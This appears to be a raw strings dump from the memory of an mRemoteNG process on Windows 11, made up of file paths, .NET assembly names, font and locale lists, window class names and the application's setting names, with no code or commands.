mRemoteNG.exe.Config APP_CFG_LOCAL_FILEPATH 86)\mRemoteNG\mRemoteNG.e C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe.Config file:///C:/Program Files (x86)/mRemoteNG/mRemoteNG.exe C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe.Config file:///C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe C:\Users\job\AppData\Local\Microsoft\Windows\INetCache C:\Users\job\AppData\Local\Microsoft\Windows\INetCache Windows11 192.168.27.140 C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe __FUSION_POLICY_CACHE__ file:///C:/Program Files (x86)/mRemoteNG/ C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe.Config stem.Xml System.Numerics System.Numerics System.Numerics System.Security System.Security System.Security System.Numerics System.Security System.Security clrjit.dll C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL \Micro tiveImages_v4.0.3031 -+ncalrpc:[OLE7FCE841CDE1EBEA1450E28826794] file:///C:/Program Files (x86)/mRemoteNG/en-US/mRemoteNG.resources.DLL C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll ken=b77a5c561934e089" /> "#46 "#46 %&'( 0123578 )/<= 0578 )*+, )/<= 0578 )/<= 059:; 0578 )/<= )/<= )-.<= )/<= 0578 )/<= )*+,<= 0578 )/<= 059:; )/<= 0123578 )/<= Lucida Sans Unicode Microsoft Sans Serif Tahoma Segoe UI Segoe UI Bold Segoe UI Light Segoe UI Semilight Segoe UI Semibold Segoe UI Variable Small Segoe UI Variable Small Bold Segoe UI Variable Small Light Segoe UI Variable Small Semilig Segoe UI Variable Small Semibol Segoe UI Variable Text Segoe UI Variable Text Bold Segoe UI Variable Text Light Segoe UI Variable Text Semiligh Segoe UI Variable Text Semibold Segoe UI Variable Display Segoe UI Variable Display Bold Segoe UI Variable Display Light Segoe UI Variable Display Semil Segoe UI Variable Display Semib Ebrima Ebrima Bold Gadugi Gadugi Bold Khmer UI Khmer UI Bold Lao UI Lao UI Bold Leelawadee Leelawadee Bold Leelawadee UI Leelawadee UI Bold Nirmala UI Nirmala UI Bold Nirmala UI Semilight MingLiU PMingLiU MingLiU_HKSCS MingLiU-ExtB PMingLiU-ExtB MingLiU_HKSCS-ExtB Microsoft JhengHei Microsoft JhengHei Bold Microsoft JhengHei UI Microsoft JhengHei UI Bold Microsoft JhengHei UI Light SimSun SimSun-ExtB NSimSun Microsoft YaHei Microsoft YaHei Bold Microsoft YaHei UI Microsoft YaHei UI Bold Microsoft YaHei UI Light Yu Gothic UI Yu Gothic UI Bold Yu Gothic UI Light Yu Gothic UI Semilight Yu Gothic UI Semibold Meiryo Meiryo Bold Meiryo UI Meiryo UI Bold MS Gothic MS PGothic MS UI Gothic MS Mincho MS PMincho Batang BatangChe Dotum DotumChe Gulim GulimChe Gungsuh GungsuhChe Malgun Gothic Malgun Gothic Bold Malgun Gothic Semilight SimSun-ExtG MSCTFIME::Function Provider NT Authority\NetworkService Microsoft WBEM Call Context Microsoft WBEM Call Context C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Serialization\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Serialization.dll cded1a1a C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll agicLibr C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll epmapper sion WINDOWS11 WINDOWS11 DeviceID OF_P Data PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS USERNAME=SYSTEM C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Serialization\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Serialization.dll System.Xml.Linq !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ en-us en-u en-us en-us en-u en-us en-u Search C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONOITALIC.TTF with any software, provided that each copy contains the above copyright notice y\Machine\Software\Classes\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance\Disabled Segoe UI System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a C:\WINDO S\System32;C:\W NDOWS\SYSTEM32; :\WINDOWS\syste ;C:\WINDOWS;.;C \WINDOWS\system 2;C:\WINDOWS;C: WINDOWS\System3 \Wbem;C:\WINDOW \System32\Windo sPowerShell\v1. \;C:\WINDOWS\Sy tem32\OpenSSH\; :\Users\job\App yYo3mnaHVX4BnL9PBvIA Microsoft AutoComplete root cimv2 CPU0 System.Xml.Linq System.Xml.Linq select * from RegistryTreeChangeEvent where Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions' C:\WINDOWS\Microsoft.Net\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll C:\WINDOWS\Microsoft.Net\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll C:\WINDOWS\Microsoft.Net\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll rosoft JhengHei UI MSYH.TTC,Microsoft YaHei UI,128,96 MSYH.TTC,Microsoft YaHei UI MALGUN System.Xml.Linq System.Xml.Linq System.Xml.Linq Combobox MagicLibrary MagicLibrary System.Drawing MagicLibrary ! #!%"'#)$+%-&/'1(3)5*7+9,;-=.?/A0E1I2M3Q4U5Y6]7a8e9i:m;q}? C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\X86\MpOav.dll C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\X86\MpOav.dll.2.Config C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\X86\ 0en-US ows.Fo\ .0.0__b77a5c561934e089\ en-US MMMM yyN dddd, d MMMM yyyy JJVVVVdd pp~~ PPPPPPPPPPPPPPPP 00000000000000000000000000000000000000 00000000000000000000000000000000000000000000000 (''' aa-DJ aa-ER aa-ET af-NA af-ZA agq-CM ak-GH am-ET ar-001 ar-AE ar-BH ar-DJ ar-DZ ar-EG ar-ER ar-IL ar-IQ ar-JO ar-KM ar-KW ar-LB ar-LY ar-MA ar-MR ar-OM ar-PS ar-QA ar-SA ar-SD ar-SO ar-SS ar-SY ar-TD ar-TN ar-YE arn-CL as-IN asa-TZ ast-ES az-Cyrl az-Cyrl-AZ az-Latn az-Latn-AZ ba-RU bas-CM be-BY bem-ZM bez-TZ bg-BG bgc-Deva bgc-Deva-IN bho-Deva bho-Deva-IN bin-NG bm-Latn bm-Latn-ML bn-BD bn-IN bo-CN bo-IN br-FR brx-IN bs-Cyrl bs-Cyrl-BA bs-Latn bs-Latn-BA byn-ER ca-AD ca-ES ca-ES-valencia ca-FR ca-IT ccp-Cakm ccp-Cakm-BD ccp-Cakm-IN ce-RU ceb-Latn ceb-Latn-PH cgg-UG chr-Cher chr-Cher-US co-FR cs-CZ cu-RU cv-Cyrl cv-Cyrl-RU cy-GB da-DK da-GL dav-KE de-AT de-BE de-CH de-DE de-DE_phoneb de-IT de-LI de-LU dje-NE doi-Deva doi-Deva-IN dsb-DE dua-CM dv-MV dyo-SN dz-BT ebu-KE ee-GH ee-TG el-CY el-GR en-001 en-029 en-150 en-AE en-AG en-AI en-AS en-AT en-AU en-BB en-BE en-BI en-BM en-BS en-BW en-BZ en-CA en-CC en-CH en-CK en-CM en-CX en-CY en-DE en-DK en-DM en-ER en-FI en-FJ en-FK en-FM en-GB en-GD en-GG en-GH en-GI en-GM en-GU en-GY en-HK en-ID en-IE en-IL en-IM en-IN en-IO en-JE en-JM en-KE en-KI en-KN en-KY en-LC en-LR en-LS en-MG en-MH en-MO en-MP en-MS en-MT en-MU en-MV en-MW en-MY en-NA en-NF en-NG en-NL en-NR en-NU en-NZ en-PG en-PH en-PK en-PN en-PR en-PW en-RW en-SB en-SC en-SD en-SE en-SG en-SH en-SI en-SL en-SS en-SX en-SZ en-TC en-TK en-TO en-TT en-TV en-TZ en-UG en-UM en-US en-VC en-VG en-VI en-VU en-WS en-ZA en-ZM en-ZW eo-001 es-419 es-AR es-BO es-BR es-BZ es-CL es-CO es-CR es-CU es-DO es-EC es-ES es-ES_tradnl es-GQ es-GT es-HN es-MX es-NI es-PA es-PE es-PH es-PR es-PY es-SV es-US es-UY es-VE et-EE eu-ES ewo-CM fa-AF fa-IR ff-Adlm ff-Adlm-BF ff-Adlm-CM ff-Adlm-GH ff-Adlm-GM ff-Adlm-GN ff-Adlm-GW ff-Adlm-LR ff-Adlm-MR ff-Adlm-NE ff-Adlm-NG ff-Adlm-SL ff-Adlm-SN ff-Latn ff-Latn-BF ff-Latn-CM ff-Latn-GH ff-Latn-GM ff-Latn-GN ff-Latn-GW ff-Latn-LR ff-Latn-MR ff-Latn-NE ff-Latn-NG ff-Latn-SL ff-Latn-SN fi-FI fil-PH fo-DK fo-FO fr-029 fr-BE fr-BF fr-BI fr-BJ fr-BL fr-CA fr-CD fr-CF fr-CG fr-CH fr-CI fr-CM fr-DJ fr-DZ fr-FR fr-GA fr-GF fr-GN fr-GP fr-GQ fr-HT fr-KM fr-LU fr-MA fr-MC fr-MF fr-MG fr-ML fr-MQ fr-MR fr-MU fr-NC fr-NE fr-PF fr-PM fr-RE fr-RW fr-SC fr-SN fr-SY fr-TD fr-TG fr-TN fr-VU fr-WF fr-YT fur-IT fy-NL ga-GB ga-IE gd-GB gl-ES gn-PY gsw-CH gsw-FR gsw-LI gu-IN guz-KE gv-IM ha-Latn ha-Latn-GH ha-Latn-NE ha-Latn-NG haw-US he-IL hi-IN hi-Latn hi-Latn-IN hr-BA hr-HR hsb-DE hu-HU hu-HU_technl hy-AM ia-001 ibb-NG id-ID ig-NG ii-CN is-IS it-CH it-IT it-SM it-VA iu-Cans iu-Cans-CA iu-Latn iu-Latn-CA ja-JP ja-JP_radstr jgo-CM jmc-TZ jv-Java jv-Java-ID jv-Latn jv-Latn-ID ka-GE ka-GE_modern kab-DZ kam-KE kde-TZ kea-CV kgp-Latn kgp-Latn-BR khq-ML ki-KE kk-KZ kkj-CM kl-GL kln-KE km-KH kn-IN ko-KP ko-KR kok-IN kr-Latn kr-Latn-NG ks-Arab ks-Arab-IN ks-Deva ks-Deva-IN ksb-TZ ksf-CM ksh-DE ku-Arab ku-Arab-IQ ku-Arab-IR kw-GB ky-KG la-VA lag-TZ lb-LU lg-UG lkt-US ln-AO ln-CD ln-CF ln-CG lo-LA lrc-IQ lrc-IR lt-LT lu-CD luo-KE luy-KE lv-LV mai-IN mas-KE mas-TZ mer-KE mfe-MU mg-MG mgh-MZ mgo-CM mi-NZ mk-MK ml-IN mn-Cyrl mn-MN mn-Mong mn-Mong-CN mn-Mong-MN mni-Beng mni-IN moh-CA mr-IN ms-BN ms-ID ms-MY ms-SG mt-MT mua-CM my-MM mzn-IR naq-NA nb-NO nb-SJ nd-ZW nds-DE nds-NL ne-IN ne-NP nl-AW nl-BE nl-BQ nl-CW nl-NL nl-SR nl-SX nmg-CM nn-NO nnh-CM nqo-GN nr-ZA nso-ZA nus-SS nyn-UG oc-ES oc-FR om-ET om-KE or-IN os-GE os-RU pa-Arab pa-Arab-PK pa-Guru pa-IN pap-029 pcm-Latn pcm-Latn-NG pl-PL prg-001 ps-AF ps-PK pt-AO pt-BR pt-CH pt-CV pt-GQ pt-GW pt-LU pt-MO pt-MZ pt-PT pt-ST pt-TL qps-Latn-x-sh qps-ploc qps-ploca qps-plocm quc-Latn quc-Latn-GT quz-BO quz-EC quz-PE raj-Deva raj-Deva-IN rm-CH rn-BI ro-MD ro-RO rof-TZ ru-BY ru-KG ru-KZ ru-MD ru-RU ru-UA rw-RW rwk-TZ sa-IN sah-RU saq-KE sat-Olck sat-Olck-IN sbp-TZ sc-Latn sc-Latn-IT sd-Arab sd-Arab-PK sd-Deva sd-Deva-IN se-FI se-NO se-SE seh-MZ ses-ML sg-CF shi-Latn shi-Latn-MA shi-Tfng shi-Tfng-MA si-LK sk-SK sl-SI sma-NO sma-SE smj-NO smj-SE smn-FI sms-FI sn-Latn sn-Latn-ZW so-DJ so-ET so-KE so-SO sq-AL sq-MK sq-XK sr-Cyrl sr-Cyrl-BA sr-Cyrl-CS sr-Cyrl-ME sr-Cyrl-RS sr-Cyrl-XK sr-Latn sr-Latn-BA sr-Latn-CS sr-Latn-ME sr-Latn-RS sr-Latn-XK ss-SZ ss-ZA ssy-ER st-LS st-ZA su-Latn su-Latn-ID sv-AX sv-FI sv-SE sw-CD sw-KE sw-TZ sw-UG syr-SY ta-IN ta-LK ta-MY ta-SG te-IN teo-KE teo-UG tg-Cyrl tg-Cyrl-TJ th-TH ti-ER ti-ET tig-ER tk-TM tn-BW tn-ZA to-TO tr-CY tr-TR ts-ZA tt-RU twq-NE tzm-Arab tzm-Arab-MA tzm-Latn tzm-Latn-DZ tzm-Latn-MA tzm-Tfng tzm-Tfng-MA ug-CN uk-UA ur-IN ur-PK uz-Arab uz-Arab-AF uz-Cyrl uz-Cyrl-UZ uz-Latn uz-Latn-UZ vai-Latn vai-Latn-LR vai-Vaii vai-Vaii-LR ve-ZA vi-VN vo-001 vun-TZ wae-CH wal-ET wo-SN x-IV_mathan xh-ZA xog-UG yav-CM yi-001 yo-BJ yo-NG yrl-Latn yrl-Latn-BR yrl-Latn-CO yrl-Latn-VE zgh-Tfng zgh-Tfng-MA zh-CN zh-CN_phoneb zh-CN_stroke zh-HK zh-HK_radstr zh-Hans zh-Hans-HK zh-Hans-MO zh-Hant zh-MO zh-MO_radstr zh-MO_stroke zh-SG zh-SG_phoneb zh-SG_stroke zh-TW zh-TW_pronun zh-TW_radstr zu-ZA arn-Latn-CL ba-Cyrl-RU bgc-IN bho-IN bm-ML bo-Tibt-CN bo-Tibt-IN br-Latn-FR ccp-BD ccp-IN ceb-PH chr-US co-Latn-FR cv-RU de-DE-u-co-phonebk doi-IN es-ES-u-co-trad prs-AF prs-Arab-AF ff-CM ff-GN ff-MR ff-NG fuv-NG ff-SN fil-Latn-PH ha-GH ha-NE ha-NG haw-Latn-US ig-Latn-NG ii-Yiii-CN ja-JP-u-co-unihan jv-ID kgp-BR kk-Cyrl-KZ kr-NG ks-IN ckb-IQ ckb-IR ky-Cyrl-KG la-001 mi-Latn-NZ mn-Cyrl-MN mni-Beng-IN moh-Latn-CA ms-Latn-BN ms-Latn-MY ms-Latn-SG nus-SD oc-Latn-ES oc-Latn-FR pa-Guru-IN pcm-NG qut-GT qu-BO quz-Latn-BO qu-EC quz-Latn-EC qu-PE quz-Latn-PE raj-IN sa-Deva-IN sah-Cyrl-RU sc-IT sd-PK sd-IN se-Latn-FI se-Latn-NO se-Latn-SE sma-Latn-NO sma-Latn-SE smj-Latn-NO smj-Latn-SE smn-Latn-FI sms-Latn-FI sn-ZW swc-CD syr-Syrc-SY tg-TJ tig-Ethi-ER tk-Latn-TM tt-Cyrl-RU tzm-DZ tzm-MA ug-Arab-CN wo-Latn-SN yo-Latn-NG yrl-BR yrl-CO yrl-VE zgh-MA zh-Hans-CN zh-Hans-CN-u-co-phonebk zh-Hans-CN-u-co-stroke zh-Hant-HK zh-Hant-HK-u-co-unihan zh-Hant-MO zh-Hant-MO-u-co-stroke zh-Hant-MO-u-co-unihan zh-Hans-SG zh-Hans-SG-u-co-stroke zh-Hans-SG-u-co-phonebk zh-Hant-TW zh-Hant-TW-u-co-phonetic zh-Hant-TW-u-co-unihan arn-Latn ba-Cyrl bo-Tibt br-Latn co-Latn prs-Arab fil-Latn gd-Latn haw-Latn ig-Latn ii-Yiii kk-Cyrl ky-Cyrl mi-Latn moh-Latn ms-Latn oc-Latn quz-Latn sa-Deva sah-Cyrl se-Latn sma-Latn smj-Latn smn-Latn sms-Latn syr-Syrc tk-Latn tt-Cyrl ug-Arab wo-Latn yo-Latn dflt HH:mm:ss MM/dd/yyyy yyyy-MM-dd dddd, dd MMMM yyyy yyyy MMMM hh:mm:ss Invariant Language Invariant Country International Monetary Fund 00000000 Sunday Monday Tuesday Wednesday Thursday Friday Saturday January February March April June July August September October November December Gregorian Calendar &Invariant Language (Invariant Country) %Invariant Language (Invariant Region) Infinity -Infinity A.D. HH:mm hh:mm tt H:mm h:mm tt 0409:00000409 Latn; dddd, MMMM dd MMMM dd MMMM d MMM d AFR saaku carra h:mm:ss dd/MM/yyyy dd/MM/yy dd-MMM-yyyy dddd, MMMM dd, yyyy dd MMMM yyyy h:mm:ss Afar Qafar Djibouti Yabuuti Djiboutian Franc Acaada Etleeni Talaata Arbaqa Kamiisi Gumqata Sabti Qunxa Garablu Kudo Ciggilta Kudo Agda Baxis Caxah Alsa Qasa Dirri Qado Dirri Leqeeni Waysu Diteli Ximoli Kaxxa Garablu Islamic Calendar 'Islamic Calendar (tabular, civil epoch) Afar (Djibouti) Qafar (Yabuuti) h:mm MMMM d, dddd MM-dd Eritrea Eretria Eritrean Nakfa Liiqen Afar (Eritrea) Qafar (Eretria) Ethiopia Otobbia Ethiopian Birr Afar (Ethiopia) Qafar (Otobbia) AFK d MMM yyyy dddd d MMMM yyyy d MMMM yyyy MMMM yyyy Afrikaans Namibia Namibi Namibian Dollar Namibiese dollar 00000000 Sondag Maandag Dinsdag Woensdag Donderdag Vrydag Saterdag Januarie Februarie Maart Junie Julie Augustus Oktober Desember Jan. Feb. Mrt. Apr. Jun. Jul. Aug. Sep. Okt. Nov. Des. Gregoriaanse kalender Afrikaans (Namibia) Afrik Haryanvi (Devanagari, India) Deva; BHO Bhojpuri (Devanagari) Bhojpuri (Devanagari, India) EDO MMMM dd, yyyy Nigeria Nigerian Naira 00000000 Edo (Nigeria) (Nigeria) MMM dd BMB Bamanankan (Latin) bamanakan Mali West African CFA Franc sefa Fra (BCEAO) kari tarata araba alamisa juma sibiri zanwuye feburuye marisi awirili zuluye tanburu buru nowanburu desanburu Bamanankan (Latin, Mali) bamanakan (Mali) ni J.-C. BEN dddd, d MMMM, yyyy d MMMM, yyyy Bangla Bangladesh Bangladeshi Taka Bangla (Bangladesh) 0845:00000445;0409:00000409 k0-windows-bangla-narrow HH.mm.ss H.mm.ss tt hh.mm.ss tt h.mm.ss d-M-yy hh.mm.ss h.mm.ss Bengali Bengali (India) HH.mm H.mm tt hh.mm tt h.mm 0445:00020445;0409:000 Belize Dollar English (Belize) 2809:00000409 yy-MM-dd M/dd/yy MMMM-dd-yy d-MMM-yy Canada Canadian Dollar English (Canada) 1009:00000409 MMMM-dd ,k0-windows-frca;k0-windows-canadian-multistd Cocos (Keeling) Islands !English (Cocos (Keeling) Islands) English (Switzerland) Cook Islands New Zealand Dollar English (Cook Islands) English (Cameroon) Christmas Island English (Christmas Island) English (Cyprus) English (Germany) English (Denmark) 0409:00000406 Dominica English (Dominica) English (Eritrea) Finland English (Finland) 0809:0000040b Fiji Fijian Dollar English (Fiji) Falkland Islands Falkland Islands Pound English (Falkland Islands) 0809:00000809 Micronesia English (Micronesia) Pound Sterling English (United Kingdom) k0-windows-ukqwerty Grenada English (Grenada) Guernsey UK Pound English (Guernsey) English (Ghana) Gibraltar Gibraltar Pound English (Gibraltar) Gambia Gambian Dalasi English (Gambia) Guam English (Guam) Guyana Guyanaese Dollar English (Guyana) Hong Kong SAR Hong Kong Dollar English (Hong Kong SAR) 3c09:00000409 Indonesia Indonesian Rupiah Rupiah 00000000 English (Indonesia) Ireland English (Ireland) 1809:00001809 k0-windows-irish Hebrew Calendar English (Israel) 0409:00000409;040d:0002040d Isle of Man English (Isle of Man) h.mm.ss tt Rupee 00000000 English (India) 4009:00004009 k0-windows-india British Indian Ocean Territory (English (British Indian Ocean Territory) Jersey English (J Swedish Krona English (Sweden) 0809:0000041d Singapore Singapore Dollar English (Singapore) 4809:00000409 &St Helena, Ascension, Tristan da Cunha Saint Helena Pound 0English (St Helena, Ascension, Tristan da Cunha) Slovenia English (Slovenia) 0809:00000424 Sierra Leone Sierra Leonean Leone English (Sierra Leone) English (South Sudan) NAf. Sint Maarten Netherlands Antillean Guilder English (Sint Maarten) Eswatini Swazi Lilangeni English (Eswatini) Turks & Caicos Islands English (Turks & Caicos Islands) Tokelau English (Tokelau) Tonga Tongan Pa anga English (Tonga) Trinidad & Tobago Trinidad & Tobago Dollar English (Trinidad & Tobago) 2c09:00000409 Tuvalu English (Tuvalu) English (Tanzania) English (Uganda) U.S. Outlying Islands English (U.S. Outlying Islands) d'd 'h'h 'm'm 's's'.fff English (United States) vk0-windows-us;k0-windows-dvorak;k0-windows-interntl;k0-windows-dvorak-left;k0-windows-dvorak-right;k0-windows-ibmar238 St. Vincent & Grenadines St Vincent & the Grenadines "English (St. Vincent & Grenadines) %English (St Vincent & the Grenadines) British Virgin Islands English (British Virgin Islands) U.S. Virgin Islands English (U.S. Virgin Islands) Vanuatu Vanuatu Vatu Vanuatu vatu English (Vanuatu) Samoa Samoan Tala English (Samoa) English (South Africa) 1c09:00000409 English (Zambia) dd MMM,yyyy Zimbabwe English (Zimbabwe) 3009:00000409 NTO yyyy-MMM-dd dddd, d-'a' 'de' MMMM yyyy yyyy-MMMM-dd Esperanto esperanto Mondo diman lundo mardo merkredo vendredo sabato januaro februaro marto aprilo majo junio julio yyyy/MMMM A.D, 17.146 -61.821 33.833 66.025 ]AFN 28.214 2.655 40.356 47.869 41.111 20.027 40.292 44.937 42.551 1.576 -12.333 17.539 -12.435 -169.965 -35.630 -65.159 6ARS -25.585 134.504 $=AUD 47.589 14.140 (+EUR 26.094 50.543 13.178 -59.549 -22.189 23.814 32.303 -64.752 50.649 4.642 8 EUR 23.986 -77.635 ???? !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ???? !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ Cancel &Abort &Retry &Ignore &Yes &Close Help &Try Again &Continue Segoe UI Minimize Maximize Restore Up Restore Down Help Close C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll \/:; C:\WINDOWS\SysWOW64 C:\WINDOWS\SYSTEM32\kernelbase.dll C:\WINDOWS\SysWOW64 api-ms-win-core-heap-obsolete-l1-1-0.dll C:\WINDOWS\SYSTEM32\kernelbase.dll c0000135 C:\WINDOWS\SysWOW64 C:\WINDOWS\SYSTEM32\kernelbase.dll api-ms-win-core-delayload-l1-1-0.dll 1-0.dll C:\WINDOWS\SysWOW64 ??\C:\WINDOWS\SYSTEM32\wbemcomn.dll PEB_SIGNATURE HEAP_SIGNATURE C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscordacwks.dll 3++S++ \Sessions\1\BaseNamedObjects kernel32.dll advapi32.dll version.dll shell32.dll ole32.dll VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription NLSBuild resource DLL FileVersion 10.0.26100.4484 (WinBuild.160101.0800) InternalName nlsbres.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename nlsbres.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.4484 VarFileInfo Translation !" #$%& )*++,- ./00 34456 7899:; <=;;> ??@A DEEFGHHIJ""KL P((Q RR%SST UVWWX YZZ[ \]^^_ `abbc deffg hhiij klmmn opqqr stuu vwxxy z{66| }}~~ en-US Segoe UI Microsoft Sans Serif Segoe UI Microsoft Sans Serif Segoe UI Segoe UI Segoe UI Marlett Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI DWM Notification Window OleMainThreadWndName OLEChannelWnd Task Host Window OleMainThreadWndName AppResolver_NotifyWnd Ma&ximize Start Running applications Running applications CicMarshalWnd MSCTFIME UI OLEChannelWnd Default IME Program Manager FolderView CicMarshalWnd OLEChannelWnd OleMainThreadWndName OLEChannelWnd Screen 1 OLEChannelWnd Default IME Search lank KBEMWnd CoreInput CoreInput Default IME OleMainThreadWndName mRemoteNG - confCons.xml CoreInput CicMarshalWnd Start Default IME OleMainThreadWndName OLEChannelWnd CicMarshalWnd MSCTFIME UI Search Default IME Mi&nimize Send To... &Restore &Move &Size Mi&nimize Ma&ximize &Close Alt+F4 OLEChannelWnd Chrome Legacy Window &Move &Size OLEChannelWnd CicMarshalWnd StartScreenManagerWindowService Default IME Battery Meter OLEChannelWnd OLEChannelWnd Default IME Input Switch Internal Main Toolbar OleMainThreadWndName &Close Alt+F4 OleMainThreadWndName OLEChannelWnd OleMainThreadWndName C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView MSCTFIME UI Default IME OleMainThreadWndName OLEChannelWnd OLEChannelWnd DDE Server Window DesktopWindowXamlSource ToolStripContainer1 DesktopWindowXamlSource OLEChannelWnd CicMarshalWnd MSCTFIME UI &Restore Connections Config Notifications PropertyGrid Description Pane PropertyGridView PropertyGridToolBar MenuStrip1 Search OLEChannelWnd imize se Alt+F4 recommended settings tomize the settings now Name OLEChannelWnd G can automatically check for updates that may provide new features and bug fixes. It is recommended that you allow mRemoteNG to check for updates weekly. again later This is the name that will be displayed in the connections tree. 168c-LdrpLoadDllInternal-R- NTDL NTDLL.DLL TDLL TDLL en-US Language Neutral Default Arabic Saudi Arabia Western Europe and United States Bulgarian Bulgaria Central Europe Antigua and Barbuda Catalan Spain Baltic Afghanistan Islamic Republic of Afghanistan Chinese (Simplified) People's Republic of China Greek Algeria*Democratic and Popular Republic of Algeria Pronunciation Stroke Count Czech Czech Republic Cyrillic Azerbaijan Republic of Azerbaijan Danish Denmark Turkic Albania Republic of Albania German Germany Japanese Armenia Republic of Armenia Dictionary Phone Book (DIN) Greece Korean Andorra Principality of Andorra English United States Traditional Chinese Angola Republic of Angola Spanish Simplified Chinese American Samoa International Finnish Finland Thai Argentina Argentine Republic French France Hebrew Australia Commonwealth of Australia Israel Hungarian Hungary Vietnamese Austria Republic of Austria Technical Icelandic Iceland Indic Italian Italy Georgian Japan Armenian Bahrain Kingdom of Bahrain XJIS bcrypt.dll uxtheme.dll user32.dll C:\Program Files (x86)\mRemoteNG\ C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe.Config true PARTIAL_TRUST_VISIBLE_ASSEMBLIES .config mRemoteNG.exe RELPATH APPBASE PRIVATE_BINPATH DEV_PATH DISALLOW_APP CODE_DOWNLOAD_DISABLED DISALLOW_APP_REDIRECTS DISALLOW_APP_BASE_PROBING FORCE_CACHE_INSTALL CACHE_BASE BINPATH_PROBE_ONLY APP_CONFIG_FILE APP_CONFIG_BLOB APP_NAME DYNAMIC_BASE MACHINE_CONFIG config\machine.config HOST_CONFIG SHADOW_COPY_DIRS false NetFx40_TimeSpanLegacyFormatMode NetFx40_LegacySecurityPolicy NetFx45_LegacyManagedDeflateStream .NETFramework,Version=v4.6 Invariant Language (Invariant Country) Invariant Language Invariant Country Infinity -Infinity International Monetary Fund HH:mm:ss HH:mm hh:mm tt H:mm h:mm tt Latn; 0409:00000409 System\CurrentControlSet\Control\Nls\RegionMapping Gregorian Calendar MM/dd/yyyy yyyy-MM-dd dddd, dd MMMM yyyy yyyy MMMM MMMM dd A.D. Sunday Monday Tuesday Wednesday Thursday Friday Saturday January February March April June July August September October November December zh-CHS zh-CHT en-ch en-CH en-CH en-CH en-CH zh-TW en-us en-US en-US en-US en-US zh-hans zh-hant en-ch* en-CH en-CH en-CH en-CH en-ch SingleInstance GroupName SettingsKey SettingsClassType mRemoteNG.Settings chars bytes byteCount charCount MainFormLocation MainFormSize MainFormState MainFormKiosk DoUpgrade CustomPuttyPath SwitchToMCOnInformation SwitchToMCOnWarning SwitchToMCOnError AutomaticallyGetSessionInfo LoadConsFromCustomLocation CustomConsPath SaveConsOnExit CheckForUpdatesOnStartup ShowDescriptionTooltipsInTree ShowSystemTrayIcon OpenTabsRightOfSelected ShowLogonInfoOnTabs SingleClickOnConnectionOpensIt EmptyCredentials DefaultUsername DefaultPassword DefaultDomain UseCustomPuttyPath FirstStart ShowProtocolOnTabs ResetPanels UpdateUseProxy UpdateProxyAddress UpdateProxyPort UpdateProxyUseAuthentication UpdateProxyAuthUser UpdateProxyAuthPass ConDefaultDescription ConDefaultProtocol ConDefaultPuttySession ConDefaultUseConsoleSession ConDefaultResolution ConDefaultColors ConDefaultCacheBitmaps ConDefaultDisplayWallpaper ConDefaultDisplayThemes ConDefaultRedirectKeys ConDefaultRedirectDiskDrives ConDefaultRedirectPrinters ConDefaultRedirectPorts ConDefaultRedirectSmartCards ConDefaultRedirectSound MaxPuttyWaitTime SingleInstance OpenConsFromLastSession NoReconnect AutoSaveEveryMinutes ExtAppsTBVisible ExtAppsTBShowText ExtAppsTBLocation ExtAppsTBParentDock QuickyTBVisible QuickyTBLocation QuickyTBParentDock ResetToolbars UseSQLServer SQLHost SQLUser SQLPass InhDefaultCacheBitmaps 